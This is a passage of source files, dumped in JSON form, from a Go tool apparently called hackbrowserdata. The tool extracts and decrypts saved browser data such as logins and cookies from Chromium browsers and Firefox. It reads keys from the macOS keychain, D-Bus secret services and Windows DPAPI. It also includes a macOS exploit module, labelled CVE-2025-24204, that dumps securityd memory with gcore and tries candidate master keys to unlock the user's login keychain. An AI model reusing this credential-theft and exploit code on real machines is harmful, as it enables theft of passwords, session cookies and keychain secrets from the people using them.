\"/AppData/Roaming/SogouExplorer/Webkit/Default/\"\n\n\tfirefoxProfilePath = homeDir + \"/AppData/Roaming/Mozilla/Firefox/Profiles/\"\n)\n"
  },
  {
    "path": "browser/chromium/chromium.go",
    "content": "package chromium\n\nimport (\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browserdata\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\ntype Chromium struct {\n\tname        string\n\tstorage     string\n\tprofilePath string\n\tmasterKey   []byte\n\tdataTypes   []types.DataType\n\tPaths       map[types.DataType]string\n}\n\n// New create instance of Chromium browser, fill item's path if item is existed.\nfunc New(name, storage, profilePath string, dataTypes []types.DataType) ([]*Chromium, error) {\n\tc := &Chromium{\n\t\tname:        name,\n\t\tstorage:     storage,\n\t\tprofilePath: profilePath,\n\t\tdataTypes:   dataTypes,\n\t}\n\tmultiDataTypePaths, err := c.userDataTypePaths(c.profilePath, c.dataTypes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tchromiumList := make([]*Chromium, 0, len(multiDataTypePaths))\n\tfor user, itemPaths := range multiDataTypePaths {\n\t\tchromiumList = append(chromiumList, &Chromium{\n\t\t\tname:      fileutil.BrowserName(name, user),\n\t\t\tdataTypes: typeutil.Keys(itemPaths),\n\t\t\tPaths:     itemPaths,\n\t\t\tstorage:   storage,\n\t\t})\n\t}\n\treturn chromiumList, nil\n}\n\nfunc (c *Chromium) Name() string {\n\treturn c.name\n}\n\nfunc (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {\n\t// delete chromiumKey from dataTypes, doesn't need to export key\n\tvar dataTypes []types.DataType\n\tfor _, dt := range c.dataTypes {\n\t\tif dt != types.ChromiumKey {\n\t\t\tdataTypes = append(dataTypes, dt)\n\t\t}\n\t}\n\n\tif !isFullExport {\n\t\tdataTypes = types.FilterSensitiveItems(c.dataTypes)\n\t}\n\n\tdata := browserdata.New(dataTypes)\n\n\tif err := c.copyItemToLocal(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmasterKey, err := c.GetMasterKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc.masterKey = masterKey\n\tif err := data.Recovery(c.masterKey); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}\n\nfunc (c *Chromium) copyItemToLocal() error {\n\tfor i, path := range c.Paths {\n\t\tfilename := i.TempFilename()\n\t\tvar err error\n\t\tswitch {\n\t\tcase fileutil.IsDirExists(path):\n\t\t\tif i == types.ChromiumLocalStorage {\n\t\t\t\terr = fileutil.CopyDir(path, filename, \"lock\")\n\t\t\t}\n\t\t\tif i == types.ChromiumSessionStorage {\n\t\t\t\terr = fileutil.CopyDir(path, filename, \"lock\")\n\t\t\t}\n\t\tdefault:\n\t\t\terr = fileutil.CopyFile(path, filename)\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"copy item to local, path %s, filename %s err %v\", path, filename, err)\n\t\t\tcontinue\n\t\t}\n\t}\n\treturn nil\n}\n\n// userDataTypePaths return a map of user to item path, map[profile 1][item's name & path key pair]\nfunc (c *Chromium) userDataTypePaths(profilePath string, items []types.DataType) (map[string]map[types.DataType]string, error) {\n\tmultiItemPaths := make(map[string]map[types.DataType]string)\n\tparentDir := fileutil.ParentDir(profilePath)\n\terr := filepath.Walk(parentDir, chromiumWalkFunc(items, multiItemPaths))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar keyPath string\n\tvar dir string\n\tfor userDir, profiles := range multiItemPaths {\n\t\tfor _, profile := range profiles {\n\t\t\tif strings.HasSuffix(profile, types.ChromiumKey.Filename()) {\n\t\t\t\tkeyPath = profile\n\t\t\t\tdir = userDir\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tt := make(map[string]map[types.DataType]string)\n\tfor userDir, v := range multiItemPaths {\n\t\tif userDir == dir {\n\t\t\tcontinue\n\t\t}\n\t\tt[userDir] = v\n\t\tt[userDir][types.ChromiumKey] = keyPath\n\t\tfillLocalStoragePath(t[userDir], types.ChromiumLocalStorage)\n\t}\n\treturn t, nil\n}\n\n// chromiumWalkFunc return a filepath.WalkFunc to find item's path\nfunc chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) filepath.WalkFunc {\n\treturn func(path string, info fs.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\tif os.IsPermission(err) {\n\t\t\t\tlog.Warnf(\"skipping walk chromium path permission error, path %s, err %v\", path, err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t\tfor _, v := range items {\n\t\t\tif info.Name() != v.Filename() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif strings.Contains(path, \"System Profile\") {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif strings.Contains(path, \"Snapshot\") {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif strings.Contains(path, \"def\") {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tprofileFolder := fileutil.ParentBaseDir(path)\n\t\t\tif strings.Contains(filepath.ToSlash(path), \"/Network/Cookies\") {\n\t\t\t\tprofileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), \"/Network/Cookies\", \"\"))\n\t\t\t}\n\t\t\tif _, exist := multiItemPaths[profileFolder]; exist {\n\t\t\t\tmultiItemPaths[profileFolder][v] = path\n\t\t\t} else {\n\t\t\t\tmultiItemPaths[profileFolder] = map[types.DataType]string{v: path}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n}\n\nfunc fillLocalStoragePath(itemPaths map[types.DataType]string, storage types.DataType) {\n\tif p, ok := itemPaths[types.ChromiumHistory]; ok {\n\t\tlsp := filepath.Join(filepath.Dir(p), storage.Filename())\n\t\tif fileutil.IsDirExists(lsp) {\n\t\t\titemPaths[types.ChromiumLocalStorage] = lsp\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "browser/chromium/chromium_darwin.go",
    "content": "//go:build darwin\n\npackage chromium\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump\"\n\t\"github.com/moond4rk/hackbrowserdata/crypto\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\terrWrongSecurityCommand   = errors.New(\"wrong security command\")\n\terrCouldNotFindInKeychain = errors.New(\"could not be find in keychain\")\n)\n\nfunc (c *Chromium) GetMasterKey() ([]byte, error) {\n\t// don't need chromium key file for macOS\n\tdefer os.Remove(types.ChromiumKey.TempFilename())\n\n\t// Try get the master key via gcoredump(CVE-2025-24204)\n\tsecret, err := gcoredump.DecryptKeychain(c.storage)\n\tif err == nil && secret != \"\" {\n\t\tlog.Debugf(\"get master key via gcoredump(CVE-2025-24204) success, browser %s\", c.name)\n\t\tif key, err := c.parseSecret([]byte(secret)); err == nil {\n\t\t\treturn key, nil\n\t\t}\n\t} else {\n\t\tlog.Warnf(\"get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...\", err)\n\t}\n\n\t// Get the master key from the keychain\n\t// $ security find-generic-password -wa 'Chrome'\n\tvar (\n\t\tstdout, stderr bytes.Buffer\n\t)\n\tcmd := exec.Command(\"security\", \"find-generic-password\", \"-wa\", strings.TrimSpace(c.storage)) //nolint:gosec\n\tcmd.Stdout = &stdout\n\tcmd.Stderr = &stderr\n\tif err := cmd.Run(); err != nil {\n\t\treturn nil, fmt.Errorf(\"run security command failed: %w, message %s\", err, stderr.String())\n\t}\n\n\tif stderr.Len() > 0 {\n\t\tif strings.Contains(stderr.String(), \"could not be found\") {\n\t\t\treturn nil, errCouldNotFindInKeychain\n\t\t}\n\t\treturn nil, errors.New(stderr.String())\n\t}\n\n\treturn c.parseSecret(stdout.Bytes())\n}\n\nfunc (c *Chromium) parseSecret(secret []byte) ([]byte, error) {\n\tsecret = bytes.TrimSpace(secret)\n\tif len(secret) == 0 {\n\t\treturn nil, errWrongSecurityCommand\n\t}\n\n\tsalt := []byte(\"saltysalt\")\n\t// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157\n\tkey := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)\n\tif key == nil {\n\t\treturn nil, errWrongSecurityCommand\n\t}\n\tc.masterKey = key\n\tlog.Debugf(\"get master key success, browser %s\", c.name)\n\treturn key, nil\n}\n"
  },
  {
    "path": "browser/chromium/chromium_linux.go",
    "content": "//go:build linux\n\npackage chromium\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/godbus/dbus/v5\"\n\tkeyring \"github.com/ppacher/go-dbus-keyring\"\n\n\t\"github.com/moond4rk/hackbrowserdata/crypto\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nfunc (c *Chromium) GetMasterKey() ([]byte, error) {\n\t// what is d-bus @https://dbus.freedesktop.org/\n\t// don't need chromium key file for Linux\n\tdefer os.Remove(types.ChromiumKey.TempFilename())\n\n\tconn, err := dbus.SessionBus()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsvc, err := keyring.GetSecretService(conn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsession, err := svc.OpenSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tif err := session.Close(); err != nil {\n\t\t\tlog.Errorf(\"close dbus session error: %v\", err)\n\t\t}\n\t}()\n\tcollections, err := svc.GetAllCollections()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar secret []byte\n\tfor _, col := range collections {\n\t\titems, err := col.GetAllItems()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, i := range items {\n\t\t\tlabel, err := i.GetLabel()\n\t\t\tif err != nil {\n\t\t\t\tlog.Warnf(\"get label from dbus: %v\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif label == c.storage {\n\t\t\t\tse, err := i.GetSecret(session.Path())\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\"get storage from dbus: %w\", err)\n\t\t\t\t}\n\t\t\t\tsecret = se.Value\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(secret) == 0 {\n\t\t// set default secret @https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100\n\t\tsecret = []byte(\"peanuts\")\n\t}\n\tsalt := []byte(\"saltysalt\")\n\t// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc\n\tkey := crypto.PBKDF2Key(secret, salt, 1, 16, sha1.New)\n\tc.masterKey = key\n\tlog.Debugf(\"get master key success, browser %s\", c.name)\n\treturn key, nil\n}\n"
  },
  {
    "path": "browser/chromium/chromium_windows.go",
    "content": "//go:build windows\n\npackage chromium\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"os\"\n\n\t\"github.com/tidwall/gjson\"\n\n\t\"github.com/moond4rk/hackbrowserdata/crypto\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n)\n\nvar errDecodeMasterKeyFailed = errors.New(\"decode master key failed\")\n\nfunc (c *Chromium) GetMasterKey() ([]byte, error) {\n\tb, err := fileutil.ReadFile(types.ChromiumKey.TempFilename())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer os.Remove(types.ChromiumKey.TempFilename())\n\n\tencryptedKey := gjson.Get(b, \"os_crypt.encrypted_key\")\n\tif !encryptedKey.Exists() {\n\t\treturn nil, nil\n\t}\n\n\tkey, err := base64.StdEncoding.DecodeString(encryptedKey.String())\n\tif err != nil {\n\t\treturn nil, errDecodeMasterKeyFailed\n\t}\n\tc.masterKey, err = crypto.DecryptWithDPAPI(key[5:])\n\tif err != nil {\n\t\tlog.Errorf(\"decrypt master key failed, err %v\", err)\n\t\treturn nil, err\n\t}\n\tlog.Debugf(\"get master key success, browser %s\", c.name)\n\treturn c.masterKey, nil\n}\n"
  },
  {
    "path": "browser/consts.go",
    "content": "package browser\n\nimport (\n\t\"os\"\n)\n\n// home dir path for all platforms\nvar homeDir, _ = os.UserHomeDir()\n\nconst (\n\tchromeName     = \"Chrome\"\n\tchromeBetaName = \"Chrome Beta\"\n\tchromiumName   = \"Chromium\"\n\tedgeName       = \"Microsoft Edge\"\n\tbraveName      = \"Brave\"\n\toperaName      = \"Opera\"\n\toperaGXName    = \"OperaGX\"\n\tvivaldiName    = \"Vivaldi\"\n\tcoccocName     = \"CocCoc\"\n\tyandexName     = \"Yandex\"\n\tfirefoxName    = \"Firefox\"\n\tspeed360Name   = \"360speed\"\n\tqqBrowserName  = \"QQ\"\n\tdcBrowserName  = \"DC\"\n\tsogouName      = \"Sogou\"\n\tarcName        = \"Arc\"\n)\n"
  },
  {
    "path": "browser/exploit/gcoredump/gcoredump.go",
    "content": "//go:build darwin\n\npackage gcoredump\n\n// CVE-2025-24204\n// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain\n// https://support.apple.com/en-us/122373\n\nimport (\n\t\"debug/macho\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/unix\"\n\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/chainbreaker\"\n)\n\nvar (\n\thomeDir, _        = os.UserHomeDir()\n\tLoginKeychainPath = homeDir + \"/Library/Keychains/login.keychain-db\"\n)\n\nfunc GetMacOSVersion() string {\n\tv, err := unix.Sysctl(\"kern.osproductversion\")\n\tif err == nil {\n\t\treturn v\n\t}\n\treturn \"\"\n}\n\nfunc FindProcessByName(name string, forceRoot bool) (int, error) {\n\tbuf, err := unix.SysctlRaw(\"kern.proc.all\")\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"sysctl kern.proc.all failed: %w\", err)\n\t}\n\n\tkinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))\n\tif len(buf)%kinfoSize != 0 {\n\t\treturn 0, fmt.Errorf(\"sysctl kern.proc.all returned invalid data length\")\n\t}\n\n\tcount := len(buf) / kinfoSize\n\tfor i := 0; i < count; i++ {\n\t\tproc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))\n\t\t// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)\n\t\tpname := byteSliceToString(proc.Proc.P_comm[:])\n\t\tif pname == name {\n\t\t\t// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.\n\t\t\t// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.\n\t\t\t// If P_ppid is missing, we can rely on P_ruid.\n\t\t\tif !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {\n\t\t\t\treturn int(proc.Proc.P_pid), nil\n\t\t\t}\n\t\t}\n\t}\n\treturn 0, fmt.Errorf(\"securityd process not found\")\n}\n\ntype addressRange struct {\n\tstart uint64\n\tend   uint64\n}\n\nfunc DecryptKeychain(storagename string) (string, error) {\n\tif os.Geteuid() != 0 {\n\t\treturn \"\", errors.New(\"requires root privileges\")\n\t}\n\n\t// find securityd PID\n\tpid, err := FindProcessByName(\"securityd\", true)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to find securityd pid: %w\", err)\n\t}\n\n\tcorePath := filepath.Join(os.TempDir(), fmt.Sprintf(\"securityd-core-%d\", time.Now().UnixNano()))\n\tdefer os.Remove(corePath)\n\n\t// dump securityd memory:\n\t// gcore -d -s -v -o core_path PID\n\tcmd := exec.Command(\"gcore\", \"-d\", \"-s\", \"-v\", \"-o\", corePath, strconv.Itoa(pid))\n\tif err := cmd.Run(); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to dump securityd memory: %w\", err)\n\t}\n\n\t// find MALLOC_SMALL regions\n\tregions, err := findMallocSmallRegions(pid)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to find malloc small regions: %w\", err)\n\t}\n\n\t// open core dump\n\tcmf, err := macho.Open(corePath)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to open core dump: %w\", err)\n\t}\n\tdefer cmf.Close()\n\n\t// scan regions\n\tvar candidates []string\n\tseen := make(map[string]struct{})\n\tfor _, region := range regions {\n\t\t// read region data\n\t\tdata, vaddr, err := getMallocSmallRegionData(cmf, region)\n\t\tif err != nil {\n\t\t\t// Region might not be in core dump or other error, skip\n\t\t\tcontinue\n\t\t}\n\t\t// Search for pattern\n\t\t// 0x18 (8 bytes) followed by pointer (8 bytes)\n\t\tfor i := 0; i < len(data)-16; i += 8 {\n\t\t\tval := binary.LittleEndian.Uint64(data[i : i+8])\n\t\t\tif val == 0x18 {\n\t\t\t\tptr := binary.LittleEndian.Uint64(data[i+8 : i+16])\n\t\t\t\tif ptr >= region.start && ptr <= region.end {\n\t\t\t\t\toffset := ptr - vaddr\n\t\t\t\t\tif offset+0x18 <= uint64(len(data)) {\n\t\t\t\t\t\tmasterKey := make([]byte, 0x18)\n\t\t\t\t\t\tcopy(masterKey, data[offset:offset+0x18])\n\n\t\t\t\t\t\tkeyStr := fmt.Sprintf(\"%x\", masterKey)\n\t\t\t\t\t\tif _, found := seen[keyStr]; !found {\n\t\t\t\t\t\t\tcandidates = append(candidates, keyStr)\n\t\t\t\t\t\t\tseen[keyStr] = struct{}{}\n\t\t\t\t\t\t\tlog.Debugf(\"Found master key candidate: %s @ 0x%x\", keyStr, ptr)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\t// fuzz master key candidates\n\tfor _, candidate := range candidates {\n\t\tkc, err := chainbreaker.New(LoginKeychainPath, candidate)\n\t\tif err != nil {\n\t\t\tlog.Debugf(\"Failed to unlock keychain: %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\trecords, err := kc.DumpGenericPasswords()\n\t\tif err != nil {\n\t\t\tlog.Debugf(\"Failed to unlock keychain: %v\", err)\n\t\t\tcontinue\n\t\t}\n\t\tfor _, rec := range records {\n\t\t\tif rec.Account == storagename {\n\t\t\t\t// TODO decode base64 password\n\t\t\t\tif rec.PasswordBase64 {\n\t\t\t\t}\n\t\t\t\treturn rec.Password, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\", nil\n}\n\nfunc findMallocSmallRegions(pid int) ([]addressRange, error) {\n\tcmd := exec.Command(\"vmmap\", \"--wide\", strconv.Itoa(pid))\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar regions []addressRange\n\tlines := strings.Split(string(output), \"\\n\")\n\tfor _, line := range lines {\n\t\tline = strings.TrimSpace(line)\n\t\tif strings.HasPrefix(line, \"MALLOC_SMALL\") {\n\t\t\tparts := strings.Fields(line)\n\t\t\tif len(parts) < 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\trangeStr := parts[1]\n\t\t\trangeParts := strings.Split(rangeStr, \"-\")\n\t\t\tif len(rangeParts) != 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tstart, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], \"0x\"), 16, 64)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tend, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], \"0x\"), 16, 64)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tregions = append(regions, addressRange{start: start, end: end})\n\t\t}\n\t}\n\treturn regions, nil\n}\n\nfunc getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {\n\tfor _, seg := range f.Loads {\n\t\tif s, ok := seg.(*macho.Segment); ok {\n\t\t\tif s.Addr == region.start && s.Addr+s.Memsz == region.end {\n\t\t\t\tdata := make([]byte, s.Filesz)\n\t\t\t\t_, err := s.ReadAt(data, 0)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, 0, err\n\t\t\t\t}\n\t\t\t\treturn data, s.Addr, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn nil, 0, fmt.Errorf(\"region not found in core dump\")\n}\n\nfunc byteSliceToString(s []byte) string {\n\tfor i, v := range s {\n\t\tif v == 0 {\n\t\t\treturn string(s[:i])\n\t\t}\n\t}\n\treturn string(s)\n}\n"
  },
  {
    "path": "browser/firefox/firefox.go",
    "content": "package firefox\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org/sqlite\" // sqlite3 driver TODO: replace with chooseable driver\n\n\t\"github.com/moond4rk/hackbrowserdata/browserdata\"\n\t\"github.com/moond4rk/hackbrowserdata/crypto\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\ntype Firefox struct {\n\tname        string\n\tstorage     string\n\tprofilePath string\n\tmasterKey   []byte\n\titems       []types.DataType\n\titemPaths   map[types.DataType]string\n}\n\nvar ErrProfilePathNotFound = errors.New(\"profile path not found\")\n\n// New returns new Firefox instances.\nfunc New(profilePath string, items []types.DataType) ([]*Firefox, error) {\n\tmultiItemPaths := make(map[string]map[types.DataType]string)\n\t// ignore walk dir error since it can be produced by a single entry\n\t_ = filepath.WalkDir(profilePath, firefoxWalkFunc(items, multiItemPaths))\n\n\tfirefoxList := make([]*Firefox, 0, len(multiItemPaths))\n\tfor name, itemPaths := range multiItemPaths {\n\t\tfirefoxList = append(firefoxList, &Firefox{\n\t\t\tname:      fmt.Sprintf(\"firefox-%s\", name),\n\t\t\titems:     typeutil.Keys(itemPaths),\n\t\t\titemPaths: itemPaths,\n\t\t})\n\t}\n\n\treturn firefoxList, nil\n}\n\nfunc (f *Firefox) copyItemToLocal() error {\n\tfor i, path := range f.itemPaths {\n\t\tfilename := i.TempFilename()\n\t\tif err := fileutil.CopyFile(path, filename); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) fs.WalkDirFunc {\n\treturn func(path string, info fs.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\tif os.IsPermission(err) {\n\t\t\t\tlog.Warnf(\"skipping walk firefox path %s permission error: %v\", path, err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t\tfor _, v := range items {\n\t\t\tif info.Name() == v.Filename() {\n\t\t\t\tparentBaseDir := fileutil.ParentBaseDir(path)\n\t\t\t\tif _, exist := multiItemPaths[parentBaseDir]; exist {\n\t\t\t\t\tmultiItemPaths[parentBaseDir][v] = path\n\t\t\t\t} else {\n\t\t\t\t\tmultiItemPaths[parentBaseDir] = map[types.DataType]string{v: path}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t}\n}\n\n// GetMasterKey returns master key of Firefox. from key4.db\nfunc (f *Firefox) GetMasterKey() ([]byte, error) {\n\ttempFilename := types.FirefoxKey4.TempFilename()\n\n\t// Open and defer close of the database.\n\tkeyDB, err := sql.Open(\"sqlite\", tempFilename)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"open key4.db error: %w\", err)\n\t}\n\tdefer os.Remove(tempFilename)\n\tdefer keyDB.Close()\n\n\tmetaItem1, metaItem2, err := queryMetaData(keyDB)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"query metadata error: %w\", err)\n\t}\n\n\tcandidates, err := queryNssPrivateCandidates(keyDB)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"query NSS private error: %w\", err)\n\t}\n\tloginCipherPairs, _ := getFirefoxLoginCipherPairs()\n\n\tvar (\n\t\tfallbackKey []byte\n\t\tlastErr     error\n\t)\n\tfor _, c := range candidates {\n\t\tmasterKey, err := processMasterKey(metaItem1, metaItem2, c.a11, c.a102)\n\t\tif err != nil {\n\t\t\tlastErr = err\n\t\t\tcontinue\n\t\t}\n\t\tif fallbackKey == nil {\n\t\t\tfallbackKey = masterKey\n\t\t}\n\n\t\tif len(loginCipherPairs) == 0 {\n\t\t\treturn masterKey, nil\n\t\t}\n\t\tif canDecryptAnyLoginCipherPair(masterKey, loginCipherPairs) {\n\t\t\treturn masterKey, nil\n\t\t}\n\t}\n\n\tif fallbackKey != nil {\n\t\treturn fallbackKey, nil\n\t}\n\tif lastErr != nil {\n\t\treturn nil, lastErr\n\t}\n\treturn nil, errors.New(\"no valid firefox master key found in nssPrivate\")\n}\n\nfunc queryMetaData(db *sql.DB) ([]byte, []byte, error) {\n\tconst query = `SELECT item1, item2 FROM metaData WHERE id = 'password'`\n\tvar metaItem1, metaItem2 []byte\n\tif err := db.QueryRow(query).Scan(&metaItem1, &metaItem2); err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn metaItem1, metaItem2, nil\n}\n\ntype nssPrivateCandidate struct {\n\ta11  []byte\n\ta102 []byte\n}\n\nfunc queryNssPrivateCandidates(db *sql.DB) ([]nssPrivateCandidate, error) {\n\tconst query = `SELECT a11, a102 FROM nssPrivate`\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tvar candidates []nssPrivateCandidate\n\tfor rows.Next() {\n\t\tvar c nssPrivateCandidate\n\t\tif err := rows.Scan(&c.a11, &c.a102); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcandidates = append(candidates, c)\n\t}\n\tif err := rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\tif len(candidates) == 0 {\n\t\treturn nil, errors.New(\"nssPrivate is empty\")\n\t}\n\treturn candidates, nil\n}\n\nfunc queryNssPrivate(db *sql.DB) ([]byte, []byte, error) {\n\t// Keep this helper for backward compatibility in tests.\n\tcandidates, err := queryNssPrivateCandidates(db)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn candidates[0].a11, candidates[0].a102, nil\n}\n\ntype loginCipherPair struct {\n\tusername []byte\n\tpassword []byte\n}\n\nfunc getFirefoxLoginCipherPairs() ([]loginCipherPair, error) {\n\traw, err := os.ReadFile(types.FirefoxPassword.TempFilename())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tarr := gjson.GetBytes(raw, \"logins\").Array()\n\tpairs := make([]loginCipherPair, 0, len(arr))\n\tfor _, v := range arr {\n\t\tuEnc := v.Get(\"encryptedUsername\").String()\n\t\tpEnc := v.Get(\"encryptedPassword\").String()\n\t\tif uEnc == \"\" || pEnc == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tuRaw, err := base64.StdEncoding.DecodeString(uEnc)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tpRaw, err := base64.StdEncoding.DecodeString(pEnc)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tpairs = append(pairs, loginCipherPair{username: uRaw, password: pRaw})\n\t\tif len(pairs) >= 5 {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn pairs, nil\n}\n\nfunc canDecryptAnyLoginCipherPair(masterKey []byte, pairs []loginCipherPair) bool {\n\tfor _, pair := range pairs {\n\t\tuPBE, err := crypto.NewASN1PBE(pair.username)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tif _, err := uPBE.Decrypt(masterKey); err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tpPBE, err := crypto.NewASN1PBE(pair.password)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tif _, err := pPBE.Decrypt(masterKey); err == nil {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// processMasterKey process master key of Firefox.\n// Process the metaBytes and nssA11 with the corresponding cryptographic operations.\nfunc processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]byte, error) {\n\tmetaPBE, err := crypto.NewASN1PBE(metaItem2)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating ASN1PBE from metaItem2: %w\", err)\n\t}\n\n\tflag, err := metaPBE.Decrypt(metaItem1)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error decrypting master key: %w\", err)\n\t}\n\tconst passwordCheck = \"password-check\"\n\n\tif !bytes.Contains(flag, []byte(passwordCheck)) {\n\t\treturn nil, errors.New(\"flag verification failed: password-check not found\")\n\t}\n\n\tkeyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}\n\tif !bytes.Equal(nssA102, keyLin) {\n\t\treturn nil, errors.New(\"master key verification failed: nssA102 not equal to expected value\")\n\t}\n\n\tnssA11PBE, err := crypto.NewASN1PBE(nssA11)\n\tif err != nil {\n\t\treturn nil, 